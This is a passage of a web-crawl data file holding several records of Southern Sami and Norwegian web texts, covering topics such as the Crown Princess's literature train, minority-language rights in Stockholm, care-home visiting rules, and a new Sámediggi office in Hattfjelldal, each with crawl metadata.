gaajhkesh meehtin aktem tjoejetjoehpem govledh gusnie Kronprinessan tjidtjie, frovve Tjessem, Knerten låhka. Tjoejetjoehpe gååvnese aaj goh svaalhtese åelkiesbielesne.\n#Noerelidteratuvre\nRognanisnie aamhtese lij noerelidteratuvre. Ij lij seamma jïjnjh hijven gærjah mah lin joekoen noeride tjaalasovveme gosse Kronprinsessa byjjeni, soptsesti. Dan åvteste dle Kronprinsessa Mette-Marit varke eelki vielie \"geerve\" gærjah lohkedh:\n- Tjaebpies nyjsenegaagkoeh gærjaj sistie njulhtjin. Dah nyjsenæjjah sjïdtin mej vööste manne meehtim bæjjese vuartasjidh, jïh ussjedidh akten biejjien dle edtjem manne seamma veaksehke jïh væjsehke sjïdtedh. Manne Åndenes hus lohkim jïh dan gellie nyjsenæjjah gaavnim mah jieledem sjugniedin, fuelhkieh sjugniedin, sijjen jïjtsh soptsesh sjugniedin. Manne \"Oda\" råakim Kristianiabohemeste. Manne Julia råakim keisertïjjen Romesne, manne Dina råakim Noerhte-Nöörjesne jïh manne Kristin Lavransdatter råakim gaske-aaltarisnie. Dah mannem lïerin mij nyjsenen jielede lea.\nKronprinsessa Mette-Marit noeregærjaj bïjre soptsesti vïjhte noerigujmie perrongesne.\n#Gieriesvoete\nGieriesvoete lidteratuvresne lij aamhtese gosse Lidteratuvretååge Måahvese bööti – dagke dïhte aamhtese man bïjre jeenjemes tjaaleme. Mejtie daate lea dan åvteste daate lea mijjen sisnjeles domtesi bïjre jïh lea mij akt man sisnie mijjieh maehtebe damtijidh, Kronprinsessa tjïertesti.\nAkte dejstie Shakespearen sonettijste aaj govledi perrongesne – daate striengkies vïersehammoe mij lea dan lïhke ektiedamme gieriesvoetediktigujmie. Sonette 29 dïhte, maam Nordlanden teatere daan biejjien åehpiedehti, jïh mij naemhtie galhka:\nFor thy sweet love remembered such wealth brings\nThat then I scorn to change my state with kings.\n#Nasjovnaalegærjagåetie\nGoh gaajhkesh daejrieh dle Nasjovnaalegærjagåetien åejviegoevtese lea Måahvesne, jïh Kronprinsessa Mette-Marit perrongeste kröövvi jïh desnie guessine mïnni. Digitaale gærjah jïh digitaliseradimmie gærjijste lea akte vihkeles aamhtese laanten gærjagåatan, jïh Kronprinsessa aktem åehpiedehteme åadtjoeji Dehtie digitaale gærjagåeteste. Dïhte aaj nuepiem åadtjoeji \"digitaliseradimmielaajrojde\" dåeriedidh gærjide, filmide jïh guvvide.\nDennie gaskesne dle programme perrongesne jåarhki, gusnie dorjehtæjja Frank Jørstad Terje Vigen åehpiedehti dejtie almetjidie mah lin desnie, jïh jazztrompetiste Arne Hiorth bealese spealadi.\n#Åarjelsaemien\nMussere lij Lidteratuvretåågen minngemes tjöödtjestimmie daan biejjien, jïh daesnie åarjelsaemien gïele jïh lidteratuvre lin jarngesne.\nKronprinsessa Mette-Marit aktem vihth tjaelijem bæjjese lutnji mij lea vihkeles orreme sutnjien, jïh diktem Vindens Veier lohki maam Nils Aslak Valkeapää lea tjaaleme.\n- Valkeapää mij akt joekoen vihkeles jieleden jïh eatnemen bïjre buakta. Goh mijjen hïejmem mijjen sisnie gaavnedh jïh veartenisnie bïjre jarkan. Dïhte vuesehte guktie eatnemen tjoevke, baaroeh jïh tjoejenassh maehtieh mijjem viehkiehtidh raeffiem gaavnedh gosse ibie buektehth dam mijjen sisnie gaavnedh. (…) Lidteratuvre pruvvieh bigkie kultuvrelle jïh nasjovnaale raasti dåaresth, jïh daah pruvvieh darjoeh guktie mijjieh jåerhkebe orre dajvigujmie mijjen sisnie jïh sinsitnesne åahpenidh.\nÅarjelsaemien gærjabusse lij tjöödtjestamme stasjovnesne daan sjïekenisnie. Daesnie Kronprinsessa goevtesen åvtehkem råaki, Sølvi Riise jïh vuejije John Kappfjell, mij gærjabussen bïjre soptsesti.\nNordlaanten fylhkengærjagåetie dïhte mij gærjabussem jåhta. Dïhte 14 tjïeltine vuaja åarjelsaemien dajvesne Nordlaantesne jïh Noerhte-Trööndelagesne, jïh Luspesne Sveerjesne. Åarjelsaemien lea gaajh joekehts dejstie jeatjah saemien gielijste, jïh ryöknesåvva goh gaajh håvhtadihks.\n#Minbok\nSåemies mah tvitredieminie lidteratuvrem vielie ååntjestellieh goh mubpieh, jïh Kronprinsessa Mette-Marit golme dejstie gaavnesji daan iehkeden juktie dejgujmie soptsestalledh: Anette Garpestad, Esther Moe jïh Vidar Kvalshaug. Ektesne dah lidteratuvrem jïh sosijaale meedijah digkiedin.\nJeenjesh leah sijjen bööremes lohkemedååjresh Twitterisnie juakeme daan biejjien. Jåerhkieh hashtaggem #minbok nuhtjedh juktie gærjaraerieh jïh lohkeme-aavoem geerjehtidh lohkijijstie lohkijasse abpe laantesne.\nFru Tjessem leser Knerten\nPå norsk: Hør Kronprinsessens mor lese høyt fra Anne-Cath. Vestlys Knerten.\nJuogat dán artihkkala Twitteris ja Facebookas:Juogat dán artihkkala Twitteris Juogat dán artihkkala Facebookas\nÁigeguovdilis áššit\nRuoktotboahtin geassemánu 7. beaivvi 1945\nOdne lea 75 jagi dan rájes Gonagas Haakon máhcai ruoktot maŋŋel 2. máilmmisoađi. Máŋga čuođi duháha olbmo sávve Gonagassii ja Ruvdnaprinsabárrii buresboahtima go sii bohte gáddái.\nLihkku beivviin!\nGonagasbearaš ávvudii Našunálabeaivvi sihke Askeris ja Oslos, ja sii čužžo Šloahttabalkoŋggas go buohkat lávlo \"Ja, vi elsker\" diibmu.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.gonagasviessu.no\/nyhet.html?tid=120548&sek=74887","date":"2020-07-10T14:15:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655908294.32\/warc\/CC-MAIN-20200710113143-20200710143143-00240.warc.gz","language":"sma","language_score":0.9997518659,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9997518658638}","num_words":815,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaepeste 2000 Sveerje Europaraerien ramkonvensjovnem dåhkasjahteme unnebelåhkoegïelide vaarjelidh jïh dan europeiske njoelkedassem laantedajvi – jïh unnebelåhkoegïelide. Dan njoelkedassen tjïrrh juvdelassjh, romeerh, saemieh, sveerjesoemh jïh tornedaelien almetjh nasjonelle unnebelåhkoeh. Dellie aaj dej gïelh jiddisch, romska (romani chib), saemien, soemengïele jïh meänkieli unnebelåhkoegïelh.\nNasjonelle unnebelåhkoeh jïh unnebelåhkoegïelh edtjieh vaarjelovvedh jïh evtiedovvedh\nLaake (2009:724) nasjonelle unnebelåhkoej bïjre abpe Sveerjesne dåhkasjahteme. Laake nænnoste dah nasjonelle unnebelåhkoegïelh edtjieh vaarjelovvedh jïh evtiedovvedh. Dah gïeh unnebelåhkoeh reaktam utnieh sijjen kultuvrem gorredidh jïh evtiedidh jïh unnebelåhkoegïelem dovne lïeredh, evtiedidh jïh provhkedh.\nReereme-åajvaladtjh edtjieh dejtie nasjonelle unnebelåhkojde nuepiem vedtedh meatan årrodh dej sijjen gyhtjelassh baajnehtidh jïh dan gåhkese guktie nuepie unnebelåhkoejgujmie dagkerh gyhtjelassh raeriestidh. Åajvaladtji dïedte lea nasjonelle unnebelåhkoereaktaj bïjre bievnedh jïh dïhte byjjes dïedte guktie unnebelåhkoelaake stilleme.\nSjïere reaktah soemengïelese, meänkieli jïh saemien\nStuehkie lea soemengïelen, meänkielin jïh saemien reeremedajve. Dellie datne gie soemengïelem, meänkielim jïh saemiem soptsesth jïh Stuehkien tjïeltesne årroeh sjïere reaktah åtnah.\nDatne gie akten reeremedajven tjïeltesne årroeh reaktam åtnah åajvaladtjigujmie dov gïelesne govlehtalledh sjïere aamhtesi bïjre gusnie åajvaladtjh nænnoestæjjine leah. Datnem edtjieh vaestiedidh dovne njaalmeldh jïh tjaaleldh dennie seamma gïelesne. Åajvaladtjh maehtieh nænnoestidh man tïjjem jïh mennie sijjesne maahtah unnebelåhkoegïelem provhkedh. Tjïelten aaj dïedte aarhskuvlem jïh båerieshoksem unnebelåhkoegïelesne öörnedh, abpe tïjjem jallh mahte abpe tïjjem jïs guhte dam vaajtele.\nTjïelth mah reeremedajvesne dïedtem utnieh ulmie jïh njoelkedassh nænnoestidh sijjen unnebelåhkoepolitihken barkose.\nIetniengïelelohkehtimmie\nMaanah gïeh nasjonelle unnebelåhkosne maehtieh unnebelåhkoegïelem ietniengïeline lohkedh. Govlehth dejnie dov skuvlen lohkehtimmie – jïh barkoebïhkedæjjine jis dov leah gyhtjelassh.\nDaesnie maahtah vielie lohkedh\nDaesnie åadtjoeh vielie daejredh dov reaktaj bïjre (teekste aaj daaroengïelesne):\nGovlehtallh Stuehkien staare\nKontaktcenter Stockholm\nTellefovne: 08-508 00 508","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/start.stockholm\/other-languages\/nationella-minoriteter-och-minoritetssprak\/nasjonelle-unnebelahkoeh-jih-unnebelahkoegielh\/","date":"2020-07-12T16:39:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657138752.92\/warc\/CC-MAIN-20200712144738-20200712174738-00557.warc.gz","language":"sma","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.000002384185791}","num_words":254,"character_repetition_ratio":0.115,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Pressebïevnese Röörosen tjïelte:\nSkïemtjehïejmh jïh håksoegåetieh Röörosen tjïeltesne guesside dåastoeh, mohte ajve sjïehtedimmien mietie. Dååjrehtimmeste daejrebe gellie guessieh giesege båetieh. Daan jaepien sïjhtebe guessiem lïhke fualhkan gaertjiedidh.\nTjoerebe skïemtjijh skïemtjehïejmine jïh håksoegåetine vaarjelidh jïh ih maehtieh mïnnedh jis:\n- Datne sovhtine jallh almetjinie orreme mij suetiem åtneme\n- Datne ålkoerïjhkesne dah minngemes 10 biejjieh orreme. Seamma jis datne Sveerjesne orreme.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/saernieh.no\/skiemtjehiejmh-jih-haksoegaetieh-roorosen-tjieltesne-guesside-daastoeh\/","date":"2020-07-03T20:03:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655882934.6\/warc\/CC-MAIN-20200703184459-20200703214459-00552.warc.gz","language":"sma","language_score":0.9999991655,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999991655349731}","num_words":57,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.053,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Universelle hammoe aktem siebriedahkeaarvoem mirrestallemen jïh lissiehtamme nuepien bïjre vuesehte, jïh visjovne lea Nöörje edtja universelle hammoedamme årrodh jaepien 2025 åvtelen.\nUniverselle hammoe lea gårreldahkesne jieniebinie laakine\nUniverselle hammoe lea akte strategije mij laavenjostoem jïh dåarestfaagelesvoetem kreava soejkesjimmesne, utnijh leah meatan, dæjpeles tjïrrehtimmie jïh vuarjasjimmie råajvarimmijste. Universelle hammoe aaj gårreldahkesne jïh gorredamme jieniebinie laakine jïh mieriedimmine, gaskem jeatjah sïerredimmie jïh gaavnoesvoetelaakesne jïh soejkesje- jïh bïgkemelaakesne.\nFylhkenålman laavenjassh\nFylhkenålma staateles råajvarimmiejgujmie vijriesåbpoe barka gosse viehkehteminie guktie universelle hammoe meatan vaaltasåvva regijovnale jïh tjïelten soejkesjinie. Fylhkenålma aaj universelle hammoen bïjre raereste jïh bïhkede regijovnale jïh tjïelten laavenjostoeguejmide, jïh jïjtjevyljehke tjïertide, siebride jïh utnijedåehkide.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.fylkesmannen.no\/sma\/More-jih-Romsdalen\/Healsoe-jih-hokse\/Universelle-hammoe\/","date":"2020-07-05T01:01:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655886802.13\/warc\/CC-MAIN-20200704232817-20200705022817-00216.warc.gz","language":"sma","language_score":0.9999895096,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"sma_Latn_score\": 0.9999895095825195}","num_words":100,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.23,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juktie syökedh tsïegline sjïdtedh jaapan 2020\/2021 tjoerh ohtsemegoerem dievhtedh.\nHoksh dov leah daah paehperh dïllesisnie åvtelen aalkah: CV, kopije væhnadasseste, barkoevihtiestimmieh jïh golme referaansh. Referaansh maehtieh aarebi barkoevedtijh, lohkehtæjjah jallh naakene årrodh mah datnem astoeaejkien darjomi tjïrrh demtieh, goh saavrehtæjja jallh åvtehke.\nOhtsememierie ruffien 1. b. 2020.\nMïsse akt onterdh? Gaskesadth raeriestæjjam Eva Måsø, tell.: 78448426, 97560589 jallh e-påaste: firstname.lastname@example.org\nSe den norske versjonen av nettsiden dersom du opplever problemer med søknadsskjema.\nSaemien jïlleskuvle lea byögkeles institusjovne, ohtseme mij sïjse seedtesåvva dan åvteste vöörhkesåvva byögkeles journaalesne. Men ohtsemh eah leah læjhkan byögkeles. Mijjieh dov ohtsemem gïetedibie eannan aktem askem ohtsememierien mænngan. Datne sïjhth bïevnesh åadtjodh mejtie leah tsïegline veeljesovveme jallh ij. Maahtah saaht gåessie dov ohtsemem bååstede giesedh, jïh naemhtie ohtsemem hiejhtedh.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/samiskeveivisere.no\/sma\/tsiegline-sjidth\/","date":"2020-07-09T14:19:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655900335.76\/warc\/CC-MAIN-20200709131554-20200709161554-00469.warc.gz","language":"sma","language_score":0.9999880791,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999880790710449}","num_words":117,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.179,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SAIH- luhkieh\n50 jaepieh mænngan SAIH gaavnehti mijjieh edtjimh studenth gihtjedh vïjhtekråvnam dovteginie vedtedh. Daan biejjien ånnetji vielie bïjre gihtjebe, jïh 200 000 studenth govhte universiteetine jïh 23 jïlleskuvline SAIH-luhkiekråvnah vedtieh. 91 % vierhtijste SAIH:n åssjelidie juhtieh. Ajve 9 % reeremasse juhtieh.\nDåarjoe lea jïjtjevyljehke jïh studenti jïjtsh demokrateles veeljeme åårganh dah, mah veeljieh mejtie edtjieh lïhtseginie årrodh SAIH:sne, jïh dagke aaj luhkiekråvnaöörnegem åtnose vaeltedh. Jeatjah dåarjoejgujmie ektine SAIH aktem budsjedtem åtna fïerhten jaepien 40 millijovnh kråvnine. Daej vierhtiejgujmie mijjieh abpe 40 voenges siebriej prosjekth dåarjoehtibie jollebe ööhpehtimmien, dotkemen jïh lïerehtimmien sisnjelen åarjel Afrijhkesne jïh Latin-Amerijhkesne. Lissine bïevnesh geerjehtibie jïh politihkeles tsevtsieminie barkebe.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/saih.no\/southern-sami\/saih-tierne","date":"2020-08-08T00:26:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439737233.51\/warc\/CC-MAIN-20200807231820-20200808021820-00208.warc.gz","language":"sma","language_score":0.999986887,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999868869781494}","num_words":93,"character_repetition_ratio":0.014,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dåarjoeh dov eejhtegeråållesne\nDatne eejhtege jallh jeatjah geerve almetje mij eejhtegeråållam åtnah maanese jallh maanide 0-17 jaepieh? Datne sïjhth raerieh jallh dåarjoeh dov eejhtegeråållesne?\nEejhteginie datne vihkeles dov maanese jallh maanide dej evtiedimmine jïh healsoen åvteste. Eejhteginie datne dovne aavodh jïh båaserh, jïh muvhtene bïevnesh jallh raerieh daarpesjh eejhtegeråållesne. Gaajhkh eejhtegh maehtieh dåarjoem åadtjodh gosse maanah 0 jïh 17 jaepiej gaskem.\nDatne eejhteginie dov maanam bööremes damth. Men læjhkan maahta hijven årrodh daejredh gusnie datne maahtah dåarjoem åadtjodh, jis daarpesjh.\nDåarjoe eejhtegevoetesne maahtah årrodh raeriem jïh bïhkedimmiem åadtjodh ovmessie gyhtjelassi bïjre. Maahta vuesiehtimmien gaavhtan årrodh\n- gaertjiedidh\n- maana jïh gaskeviermie\n- jïjtse maanese gaerhtedh\n- relasjovne mubpie eejhtegasse jallh mubpieh geerve almetjidie\n- beapmoeh jïh healsoe\n- skuvlerutijnh\n- dågkah, alkohovle jïh drovgh\n- eejehtsdarjomh\nDïhte maahta aaj årrodh jeatjah eejhtegh råakedh jïh åssjelh jïh dååjresh juekedh maanaj bijjiedimmien jïh eejhtegeråållan bïjre.\nGaajhkesh mij eejhtegeråållam maanese åtna maahta dåarjoem åadtjodh. Vuesiehtimmie:\n- eejhtegh\n- bonuse-eejhtegh\n- almetje lïhke fuelhkesne\n- fuelhkiehïejme-eejhtegh\n- gaskesadtemealmetje\n- jeatjah lïhke geerve almetje\nMaahtah daejtie dåarjojde åadtjodh\nEejhtegevoetekuvsje åejvine\nDatne eejhteginie mubpieh eejhtegh gaavnesjh dåehkesne naan aejkien, åejvie ektesne. Dijjieh dååjrehtimmieh jïh maahtoem sinsitnine målsodh.\nGaskesadth mijjiem\nGïehteldimmie: Förälder Östersund\nE-påasteadresse: email@example.com","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.ostersund.se\/andra-sprak\/aarjelsaeminen-sydsamiska\/daarjoeh-dov-eejhtegeraallesne.html","date":"2020-08-04T00:01:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735836.89\/warc\/CC-MAIN-20200803224907-20200804014907-00088.warc.gz","language":"sma","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 1.0000081062316895}","num_words":181,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hïekehts viehkie daelie jïh båetije beajjan\nGærhkoen internasjonaalen barkoen tjïrrh maahtah meatan årrodh jïh guejmiealmetjidie viehkiehtidh gïeh dåarosne, nealkoenïeresne jïh eatneme-aehpesne jielieh. Sveerjen gærhkoe aehpieviehkine gellie evtiedimmieprosjeektine mej ulmieh leah almetjidie jïjtjemh viehkiehtidh buerebe tsiehkieh hijven aarkebeajjan buektiehtidh.\nGuktie maahtah viehkiehtidh?\nGellie laakan maahta internasjonaale barkoem dåarjodh:\nbeetnegh tjöönghkedh jallh fïerhten asken beetnegh vedtedh. Datne maahtah aaj internasjonaale dåahkan dov åålmegasse bïeljelidh.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.svenskakyrkan.se\/sveerjen-grhkoen-internasjonaale-barkoe","date":"2020-08-03T11:47:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735810.18\/warc\/CC-MAIN-20200803111838-20200803141838-00536.warc.gz","language":"sma","language_score":1.0000084639,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"sma_Latn_score\": 1.000008463859558}","num_words":62,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.119,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daenbien snjaltjen 16. biejjien jïh rætnoe mïetsken 8. biejjien, mij lea Saemien Sijjienïmmhmoenehtsen govlehtimmien minngemes biejjie.\nRuffien 5. biejjien ts. 10.00 Saemien Sijjienïmmhmoenehtse pressetjåanghkoem öörni. Tjåanghkosne moenehtse jeehti magkerh sijjienommh dah leah veeljeme govlehtæmman sedtedh. Moenehtsen raerieh edtjieh gaektsie våhkoeh govlehtimmesne årrodh jïh mïetsken 8. biejjien lea govlehtimmien minngemes biejjie.\nDaesnie moenehtsen raerieh magkerh saemien nommh dah sijhtieh daejtie sijjide edtjieh åadtjodh:\n- Rossen tjïelte – Røros kommune\n- Plaassja – Røros\n- Gloemege – Glåmos\n- Praahka – Brekken\nMoenehtse gegkeste daate govlehtimmie engasjemeentem sjugnede. Daate govlehtimmie ræhpas jïh gaajhkesh dovnesh maehtieh dej mïelide juekedh.\nUnni Fjellheim moenehtsisnie tjahkesjeminie jïh jeahta vihkeles prosesse orreme reeremetjïeltine sjïdtedh. Dïhte aaj tjuavkedslaakan båetije biejjide vuajna. Aaj jeahta jååhkesjimmie joekoen stoerre gosse maehtebe gåatan dajvese båetedh jïh skïlhth mijjen gïelesne lohkedh.\nMij lea Saemien Sijjienïmmhmoenehtse? - Saemien Sijjienïmmhmoenehtse lea moenehtse Plassjen tjïeltesne mij edtja ovmessie sijjienommh Plassjen dajvesne gaavnedh, digkiedidh jïh govlehtæmman sedtedh. - Plassjen tjïelte lea saemien reeremetjïelte jïh vihkeles saemiej nommh daennie dajvesne dokumenteradidh. - Saemien sijjienïmmhmoenehtsen voestes tjåanghkoe lij golken 22. biejjien 2019. - Moenehtsen lïhtsegh leah Unni Fjellheim, Jenny Fjellheim, Aasta Joma Granefjell, Inge Even Danielsen jïh Lars Aage Brandsfjell. Morten Tøndel lea moenehtsen tjaelije jïh Marit Fjellheim faageles daajroem åtna.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/saernieh.no\/mietsken-8-biejjien-lea-saemien-sijjienimmhmoenehtsen-govlehtimmien-minngemes-biejjie\/","date":"2020-08-04T05:46:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735860.28\/warc\/CC-MAIN-20200804043709-20200804073709-00096.warc.gz","language":"sma","language_score":0.9999713898,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999713897705078}","num_words":183,"character_repetition_ratio":0.094,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Fylhkenålma bïhkedimmiem jïh viehkiem vadta tjïeltide daej suerkiej sisnjeli goh laanteburriegeajnoeh, skåajjeskaarah, bioenergije, skåajjejurjeme jïh byjresegyhtjelassh. Jeatjah barkoesuerkieh leah iktedimmieh skåajjeburriesoejkesjimmeste fylhkesne, reereme skåajjefoenteöörnegistie, dåarjoereereme jïh gïehtjedimmielaavenjassh.\nSkåajjeburrie\nFylhkenålman laavenjassh skåajjeburrien sisnjelen leah ektiedamme dan guhkiebasse reeremasse skåajjeste, goh akte vierhtie dan jielemedarjoemasse mestie dïeneste sjædta. Jeatjah aktöörigujmie ektine dle Fylhkenålma aaj eadtjohkelaakan barkeminie juktie stuerebe aarvoem moereste åadtjodh goh iebne. Fylhkenålma edtja aaj tsevtsiedæjjine årrodh ihke vielie moere åtnasåvva bïgkemisnie jïh dorjemassese bioenergijeste. Dïhte edtja viehkiehtidh guktie mijjen akte infrastruktuvre mij dorje guktie maahta dïenestem åadtjodh tjoehpemistie, seamma tïjjen goh jieleme byjresem krööhkeste.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.fylkesmannen.no\/sma\/innlandet\/laanteburrie-jih-beapmoe\/skaajjeburrie\/","date":"2020-08-12T00:38:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738858.45\/warc\/CC-MAIN-20200811235207-20200812025207-00528.warc.gz","language":"sma","language_score":0.9999814034,"language_script":"Latn","minhash_cluster_size":37,"top_langs":"{\"sma_Latn_score\": 0.9999814033508301}","num_words":94,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Styrker tilstedeværelse i sørsamisk språkområde\nUTVIDER: Sametinget styrker tilstedeværelsen i sørsamisk område og etablerer kontor i Hattfjelldal. Her fra Karasjok. Foto: Per Magne Moan\nSametinget lyser ut nyopprettet formidlerstilling i sørsamisk område med arbeidssted Hattfjelldal og åpner med det sitt niende kontorsted.\nPublisert: 14.02.2020 kl 13:22\nSametinget har i dag åtte kontorsteder fra Varangerbotn i nord til Snåsa i sør. I løpet av våren 2020 lyses det ut to formidlerstillinger som skal jobbe aktivt med veiledning og formidling av samisk litteratur. Den ene stillingen plasseres på Árran lulesamiske senter i Hamarøy, der Sametinget allerede har et etablert kontorsted, mens den andre stillingen plasseres på det samiske kultur- og utviklingssenteret Sijti Jarnge i Hattfjelldal.\n– Det er svært gledelig at vi med formidlerstillingen i Hattfjelldal styrker vår tilstedeværelse ytterligere i det sørsamiske språkområdet. Vi er glade for at Sijti Jarnge har ønsket Sametinget velkommen til deres senter. Vi ser det som positivt at Sametinget vil kunne inngå i et tettere samarbeid med samiske aktører i Hattfjelldal og omegn, sier direktør Rune Fjellheim i Sametinget.\nSpre kunnskap om samisk litteratur\nDe nyopprettede formidlerstillingene skal jobbe aktivt med veiledning og formidling av samisk litteratur, der de skal arbeide med å øke kunnskapen om samisk litteratur og kultur til bibliotekene, barnehager, skoler og andre i henholdsvis sør- og lulesamisk språkområde, i tråd med plenumsvedtaket om \"Formidling av samisk litteratur\" fra september 2018.\nSametinget vil i løpet av våren lyse ut de to stillingene\n– Dette er to spennende stillinger der vi leter etter selvstendige og utadvendte mennesker med et bankende hjerte for samisk litteratur og et brennende ønske om å formidle. Vi ser frem til å komme tilbake til Hattfjelldal for å formelt åpne vårt nye kontorsted samtidig som vi tar imot vår nye medarbeider, sier sametingsdirektøren.\nSametingets administrasjon besøkte denne uka Sijti Jarnge der man blant annet så på kontorlokaler og diskuterte videre fremdrift. Det er også mulig at andre stillinger i Sametingets administrasjon kan bli plassert til Hattfjelldal ved ledig kontorkapasitet på senteret.\nSov lïhkesvoetem nænnoste åarjelsaemien gïeledajvesne\nSaemiedigkie aktem orre tseegkeme bievnijebarkoem åarjelsaemien dajvesne bæjhkohte barkoesijjine Aarborte, jïh dejnie sov åktsedem kontovrem rïhpeste.\nDaelie Saemiedigkien leah 8 kontovresijjieh Varangerbotneste noerhtene Snåasese åarjene. Gïjren 2020 Saemiedigkie göökte bievnijebarkoeh bæjhkohte mah edtjieh eadtjohkelaakan bïhkedimmine jïh bievnieminie saemien lidteratuvreste barkedh. Dïhte akte barkoe bïejesåvva Árran julevsaemien jarngese Hábmerisnie, gusnie Saemiedigkien joe lea kontovresijjie, mearan dïhte mubpie barkoe bïejesåvva saemien kultuvre- jïh evtiedimmiejarngese Sijti Jarnge Aarbortesne.\n– Joekoen sjollehke mijjieh daejnie bievnijebarkojne Aarbortesne mijjen lïhkesvoetem nænnoestibie åarjelsaemien gïeledajvesne. Mijjieh geerjene ihke Sijti Jarnge lea Saemiedigkiem buerie båeteme vaajtelamme sov jarngese. Mijjieh utnebe hijven Saemiedigkie sæjhta maehtedh meatan årrodh aktene lïhkebe laavenjostosne saemien aktöörigujmie Aarbortesne jïh byjreskisnie, direktööre Rune Fjellheim Saemiedigkesne jeahta.\nDaajroem saemien lidteratuvren bïjre geerjehtidh\nDoh orre tseegkeme bievnijebarkoeh edtjieh eadtjohkelaakan bïhkedimmine jïh bievnieminie saemien lidteratuvreste barkedh, gusnie barkoe edtja årrodh daajroem geerjehtidh saemien lidteratuvren jïh kultuvren bïjre gærjagåetide, maanagiertide, skuvlide jïh mubpide fïereguhtene åarjel- jïh julevsaemien dajvesne, stoerretjåanghkoen nænnoestimmien mietie \"Bievneme saemien lidteratuvreste\" skïereden 2018.\nSaemiedigkie sæjhta daejtie göökte barkojde beagkoehtidh daan gïjren.\n– Daate göökte gieltegs barkoeh mejtie jïjtjeraarehke jïh faepeles almetjh ohtsedibie giej stoerre ïedtje saemien lidteratuvrese jïh buelije sjaavnjoe dan bïjre bievnedh. Mijjieh aavoedibie bååstede båetedh Aarportese juktie mijjen orre kontovresijjiem byjjeslaakan rïhpestidh seamma tïjjen goh mijjen orre meatanbarkijem dåastobe, saemiedigkiedirektööre jeahta.\nSaemiedigkien reereme Sijti Jarngem vaaksjoeji daan våhkoen gusnie gaskem jeatjah kontovrelokaalide vuartasjin jïh barkoem åvtese digkiedin. Nuepie aaj gååvnese jeatjah barkoeh Saemiedigkien reeremisnie maehtieh Aarbortese bïejesovvedh jis kontovresijjie gååvnese 